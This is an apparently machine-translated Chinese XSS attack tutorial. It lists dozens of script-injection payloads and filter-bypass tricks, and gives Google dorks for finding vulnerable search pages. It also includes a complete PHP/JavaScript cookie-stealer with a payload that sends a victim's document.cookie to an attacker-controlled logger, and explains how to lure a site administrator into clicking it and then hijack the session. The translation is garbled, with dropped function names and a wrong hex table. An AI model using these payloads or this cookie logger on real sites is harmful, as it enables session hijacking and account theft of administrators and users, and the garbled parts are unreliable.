xss入门教程文档

来源:互联网 发布:数据图表制作工具 编辑:程序博客网 时间:2024/05/02 13:36

http://www.shellsec.com/tech/196192.html


什么是XSS ?

跨站点脚本XSS代表。它基本上是一个攻击,那是用来执行HTML和JavaScript的Web页面。这种攻击可以通过提交查询到文本框,甚至到URL 。结果回来阅读的文本为HTML ,所以它执行的脚本,而不是显示在纯文本。 XSS攻击,你可以从一个网络管理员窃取cookie ,甚至使用一些社会工程学来操纵别人下载你已经创建了一个病毒。如僵尸网络或大鼠,也许甚至是按键记录器的XSS攻击可以是非常危险的,但也可以是非常温和的。我的大部分攻击是温和的XSS攻击,即可以对网站很难使用。有很多方法可以使用​​XSS来你的优势。我将仅举几例。您可以使用一个警告框来宣传自己,或提醒网络管理员,你已经发现了一个安全漏洞,涉及XSS 。您还可以设置一个Cookie-Stealer/Logger 。什么,你可以用HTML ,可以用来对付这种攻击的网站。我将解释一些与XSS相关的最重要的方面。

什么是HTMLJavaScript ?

HTML
HTML是一种编程语言,有点像。一种编程语言和HTML之间的区别是不太远。它们是两种语言,用于创建属性和事件。 HTML是一种标记语言,它主要用来创建网站。 HTML是超文本标记语言。您可以使用HTML来创建窗体,按钮,和其他的东西,可以用来在网页中。我很怀疑你永远不会遇到不含一个网站,甚至有少量的HTML 。

JAVASCRIPT
现在,首先,让我们弄清楚一件事。 Java和JavaScript之间存在着巨大的差异。 Java中,是一种语言,重新组合的C + + ,它可以在游戏中使用,应用程序。 JavaScript是那种类似HTML,但肯定在许多方面不同。 JavaScript没有使用比HTML是网页中的几乎一样多。使用JavaScript ,更多的应用程序以外的网页。 PDF文件一样。随着HTML , JavaScript可以是一个令人难以置信的有用的语言。他们都是相当简单的学习,是非常动态的。

XSS :我的第一次进攻。

现在,让我们开始进入真正的好东西。在本节中,我将解释如何使用XSS来你的优势。我们也将推出我们的第一个攻击XSS ,如果你知道的基本知识, XSS攻击,你可以跳过这一节,因为我怀疑你会学到什么东西,你不知道简要。

现在,我们的第一步,显然是要找到一个易受攻击的网站。寻找一个网站容易受到XSS容易SQLI比找到一个网站是一个容易得多。问题是,它可能需要一时间来判断网站是否真的是脆弱的。 SQLI ,你可以只添加一点点’ 。但XSS ,你必须提交多个查询(有时) ,测试你的网站的XSS 。

最脆弱的网站将含一个搜索,登录或注册。几乎任何地方,含一个文本框,可以利用XSS 。然而,很多人忘记了这个事实,从来没有用它来充分发挥其潜力,是因为他们认为它是无用的。您可以利用XSS通过源,以及,你不能只是采取任何脚本,编辑完整的东西。但编辑“ 事件”的剧本,是绝对是个例外。我会解释的XSS这种方法以后,现在,我们需要完整的基础。

不管怎么说,我们的网站应该有一些文本框输入一些HTML进来,我将简单地使用一个搜索栏。

所以,让我们尝试把所有的时间最知名的,基本的查询。

  1. <script>alert("XSS")</script>

复制代码

那个小脚本,HTML。它将使弹出一个小的消息,说:“XSS”。您可以编辑的那部分,如果你喜欢。只要不修改任何其他部分的脚本。

它放入你的搜索栏,然后按Enter。现在,如果一个小弹出警告框,你已经成功地袭击了一个网站容易受到XSS!
如果没有框弹出,这是正常的,因为这意味着该网站已经采取了一些时间,把过滤器。
过滤器,当我们搜索的东西,那么它通过一个微型的过程,基本上检查。它会检查任何恶意(危险)的东西。
在这种情况下,它会寻找XSS。有时,这些过滤器是非常薄弱的,可以很容易通过,其他时间,他们可以是相当难以绕过
现在有很多的方法来绕过XSS过滤器。首先,我们必须找出什么样的过滤器阻塞。很多的时候,它挡住了警报。
这种过滤器下面是一个例子:

  1. &lt;script>alert("XSS")</script>

复制代码

>

  1. <script>alert( > XSS DETECTED < )</script>

复制代码

这将阻止报警。那么,到底如何,我们获得通过呢?
嗯,幸好有一个完整的邮件进行加密的方法。
我们将使用一个小功能称为“”。
它的名字几乎可以解释这一切。加密我们的文字,换成ASCII。

这种加密的一个例子,是这样的:

  1. (88,83,83)

复制代码

是的,它可以是一个有点混乱,但一点点的解释和测试,是很简单的。
下面是我们完整的查询将是什么样子:

  1. <script>alert((88,83,83))</script>

复制代码

你不需要任何这样的简单查询报价。因此,让我们在搜索栏中放回来,瞧!它的工作!我们得到了一个警告框,说“XSS”!如果你仍然没有得到任何警告框,尝试一些我喜欢使用这些查询:

  1. "><script>alert("XSS")</script>
    &nbsp;
  2. "><script>alert((88,83,83))</script>
    &nbsp;
  3. ‘><script>alert("XSS")</script>
    &nbsp;
  4. ‘><script>alert((88,83,83))</script>
     
  5. <ScRIPt>aLeRT("XSS")</ScRIPt>
     
  6. <ScRIPt<aLeRT((88,83,83))</ScRIPt>
     
  7. "><ScRIPt>aLeRT("XSS")</ScRIPt>
     
  8. "><ScRIPt<aLeRT((88,83,83))</ScRIPt>
     
  9. ‘><ScRIPt>aLeRT("XSS")</ScRIPt>
     
  10. ‘><ScRIPt<aLeRT((88,83,83))</ScRIPt>
     
  11. </script><script>alert("XSS")</script>
     
  12. </script><script>alert((88,83,83))</script>
     
  13. "/><script>alert("XSS")</script>
     
  14. "/><script>alert((88,83,83))</script>
     
  15. ‘/><script>alert("XSS")</script>
     
  16. ‘/><script>alert((88,83,83))</script>
     
  17. </SCRIPT>"><SCRIPT>alert("XSS")</SCRIPT>
     
  18. </SCRIPT>"><SCRIPT>alert((88,83,83))
     
  19. </SCRIPT>">"><SCRIPT>alert("XSS")</SCRIPT>
     
  20. </SCRIPT>">’><SCRIPT>alert((88,83,83))</SCRIPT>
     
  21. ";alert("XSS");"
     
  22. ";alert((88,83,83));"
     
  23. ‘;alert("XSS");’
     
  24. ‘;alert((88,83,83));’
     
  25. ";alert("XSS")
     
  26. ";alert((88,83,83))
     
  27. ‘;alert("XSS")
     
  28. ‘;alert((88,83,83))

复制代码

是的,我只是写了所有这些,它需要较长的时间比它应该,但他们都以自己的方式工作,所以因为他们中的许多,你可以试试。我攻击一些这些查询一些相当巨大的网站。创建我自己的查询有时,你应该创建一些,他们也可以派上用场了很多。

XSS:先进的方法

现在,在本节中,我将分享一些方法来对网站的恶意使用XSS。现在,请记住所有的恶意攻击发送过来的系统,网站或服务器,是非法的,这些行动可以被起诉。所以如果你打算做一些恶意的网站始终使用保护。如果你想做出一点警告框弹出,你不应该需要一个代理/ VPN。

cookie窃取/记录
现在,饼干偷窃是最恶意的事情,我们可以用非持久性XSS。一个cookie窃取/记录仪,会记录用户访问某个文件的​​页面的饼干。做到这一点,最简单的方式将分为三个步骤。

首先,你应该设置一个站点。就个人而言,我觉得
现在,一旦你创建了自己的网站,去到的文件管理器。创建一个新的文件。调用它“CookieLog.txt”。离开码坯。现在,创建另一个文件后,称为“CookieLogger.php”。在CookieLogger.php,我们需要添加一些代码,所以它发送的cookie,我们登录到我们的Cookie日志。将此代码,把它(只要确保文件名中有PHP的,否则它不会运行PHP代码(这是一个巨大的问题))。

  1.  
  2. <?php/*
     
  3. * Created on 16. april. 2007
     
  4. * Created by Audun Larsen (audun@munio.no)
     
  5. *
     
  6. * Copyright 2006 Munio IT, Audun Larsen
     
  7. *
     
  8. * THIS SOFTWARE IS PROVIDED BY THE AUTHOR “AS IS” AND ANY EXPRESS OR IMPLIED WARRANTIES,
     
  9. * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
     
  10. * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
     
  11. * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
     
  12. * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
     
  13. * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
     
  14. * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
     
  15. * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
     
  16. */
     
  17.  
  18. if(strlen($$$$_SERVER[‘QUERY_STRING’]) > 0) {
     
  19.     $$$$fp=fopen(‘./CookieLog.txt’, ‘a’);
     
  20.     fwrite($$$$fpurldecode($$$$_SERVER[‘QUERY_STRING’])."/n");
     
  21.     fclose($$$$fp);
     
  22. else {
     
  23. ?>
     
  24.  
  25. var ownUrl = ‘http://<?php echo $$$$_SERVER[‘HTTP_HOST’]; ?><?php echo $$$$_SERVER[‘PHP_SELF’]; ?>';
     
  26.  
  27. // ==
     
  28. //  URLEncode and URLDecode functions
     
  29. //
     
  30. // Copyright Albion ResearcLtd. 2002
     
  31. // http://www.albionresearch.com/
     
  32. //
     
  33. // You may copy these functionproviding that
     
  34. // (a) you leave this copyright notice intact, and
     
  35. // (   if you use these functions on a publicly accessible
     
  36. //  web site you include a credit somewhere on the web site
     
  37. //  with a link back to http://www.albionresearch.com/
     
  38. //
     
  39. // If you find or fix any bugs, please let us know at albionresearch.com
     
  40. //
     
  41. // SpecialThanks to Neelesh Thakur for being the first to
     
  42. // report a bug in URLDecode() – now fixed 2003-02-19.
     
  43. // And thanks to everyone else who has provided comments and suggestions.
     
  44. // ==
     
  45. function URLEncode(str)
     
  46. {
     
  47.     // The Javascript escape and unescape functions do not correspond
     
  48.     // with what browsers actually do…
     
  49.     var SAFECHARS = "0123456789" +        // Numeric
     
  50.         "ABCDEFGHIJKLMNOPQRSTUVWXYZ" +    // Alphabetic
     
  51.         "abcdefghijklmnopqrstuvwxyz" +
     
  52.         "-_.!~*'()";        // RFC2396 Mark characters
     
  53.     var HEX = "0123456789ABCDEF";
     
  54.  
  55.     var plaintext = str;
     
  56.     var encoded = "";
     
  57.     for (var i = 0; i < plaintext.length; i++ ) {
     
  58.         var ch = plaintext.charAt(i);
     
  59.         if (ch == " ") {
     
  60.             encoded += "+";                // x-www-urlencoded, rather than %20
     
  61.         } else if (SAFECHARS.indexOf(ch) != -1) {
     
  62.             encoded += ch;
     
  63.         } else {
     
  64.             var charCode = ch.charCodeAt(0);
     
  65.             if (charCode > 255) {
     
  66.                 alert( "Unicode Character ‘"
     
  67.     + ch
     
  68.     + "’ cannot be encoded using standard URL encoding./n" +
     
  69.                     "(URL encoding only supports 8-bit characters.)/n" +
     
  70.           "A space (+) will be substituted." );
     
  71.                 encoded += "+";
     
  72.             } else {
     
  73.                 encoded += "%";
     
  74.                 encoded += HEX.charAt((charCode >> 4) & 0xF);
     
  75.                 encoded += HEX.charAt(charCode & 0xF);
     
  76.             }
     
  77.         }
     
  78.     } // for
     
  79.  
  80.     return encoded;
     
  81. };
     
  82.  
  83. cookie = URLEncode(document.cookie);
     
  84. html = ‘<img src="’+ownUrl+’?’+cookie+’">';
     
  85. document.write(html);
     
  86.  
  87. < ?php
     
  88. }
     
  89. ?>

复制代码

现在,我们有我们的Cookie记录器脚本,我们可以给我们最好的朋友,网络管理员发送的cookie记录器。要做到这一点,我们也许应该微小的URL 。或者,如果你能弄清楚如何恶搞URL ,也能工作。

到指定网站去。

只是在URL中。但是且慢,我们需要添加到我们的XSS漏洞的脚本。这是脚本,将开始我们的Cookie记录。

  1. <script>document.location="http://www.自己接收XSS网站地址.com/CookieLogger.php?cookie=" + document.cookie;</script>

复制代码

所以只需添加脚本的URL之后,然后微小,并将其发送到我们的网站管理员,现在可以花一些时间帮助实际点击它。有时,管理员不会点击它,所以如果时间太长,你应该放弃,并找到另一种方式来利用它。

一旦你得到的cookie ,你可以使用“ Cookie管理器”火狐插件来操纵和编辑的饼干,让你可以劫持管理员会话。我觉得Cookie管理器非常有用的应用程序的XSS ,确保下载它。

XSS筛选器绕过技术
有时候,一个简单的XSS查询就不会做的伎俩。你的查询没有工作的原因,是因为该网站有一个WAF或滤波器组到位。过滤器将阻止尽可能尽可能多XSS和SQLI查询。在这种情况下,我们正在处理,防止XSS 。

绕过XSS过滤器的方法有很多,但我只会解释几句。

六角旁路
随着封锁的字符,如> , <, / ,它是相当困难的来执行XSS查询。不用担心,总有一个解决方案,你可以改变你的角色,成六角。一个十六进制的某些字符,基本上是字符,但在不同的格式。这些应该帮助你
> = %3c 
< = %3c 
/ = %2f

ASCII旁路
使用一个ASCII加密,我们可以使用的字符“被封锁颇有几分,这是其中一个最常见的XSS筛选器绕过所有的时间,你将需要加密的脚本,将看起来像这样:

不工作脚本

  1. <script>alert("XSS")</script>

复制代码

工作脚本

  1. <script>alert((88,83,83))</script>

复制代码

要加密你的小脚本的一部分,去这个网站:

  1. http://www.wocares.com/noquote.php

复制代码

我使用该网站,发现它非常有用。

绕过区分大小写
这种旁路作品很少,但它总是值得一试。然而,在地方设置一些过滤器,来检测某些字符串,过滤器的字符串被封锁是区分大小写的。
所以我们需要做的,是执行一个脚本,用不同尺寸的字符。
这旁路,将看起来像这样:

  1. <ScRiPt>aLeRt("XSS")</ScRiPt>

复制代码

您还可以混合使用ASCII加密,如果你喜欢。这种旁路仅适用于真正愚蠢的过滤器,或真的旧。

一些XSS Dorks“
它通常是最好的创建/找到自己的dorks,但在本教程中,我会写一些了真正的快速分享:

  1. inurl:search.php?
     
  2. inurl:find.php?
     
  3. inurl:search.html
     
  4. inurl:find.html
     
  5. inurl:search.aspx
     
  6. inurl:find.aspx

复制代码

0 0
原创粉丝点击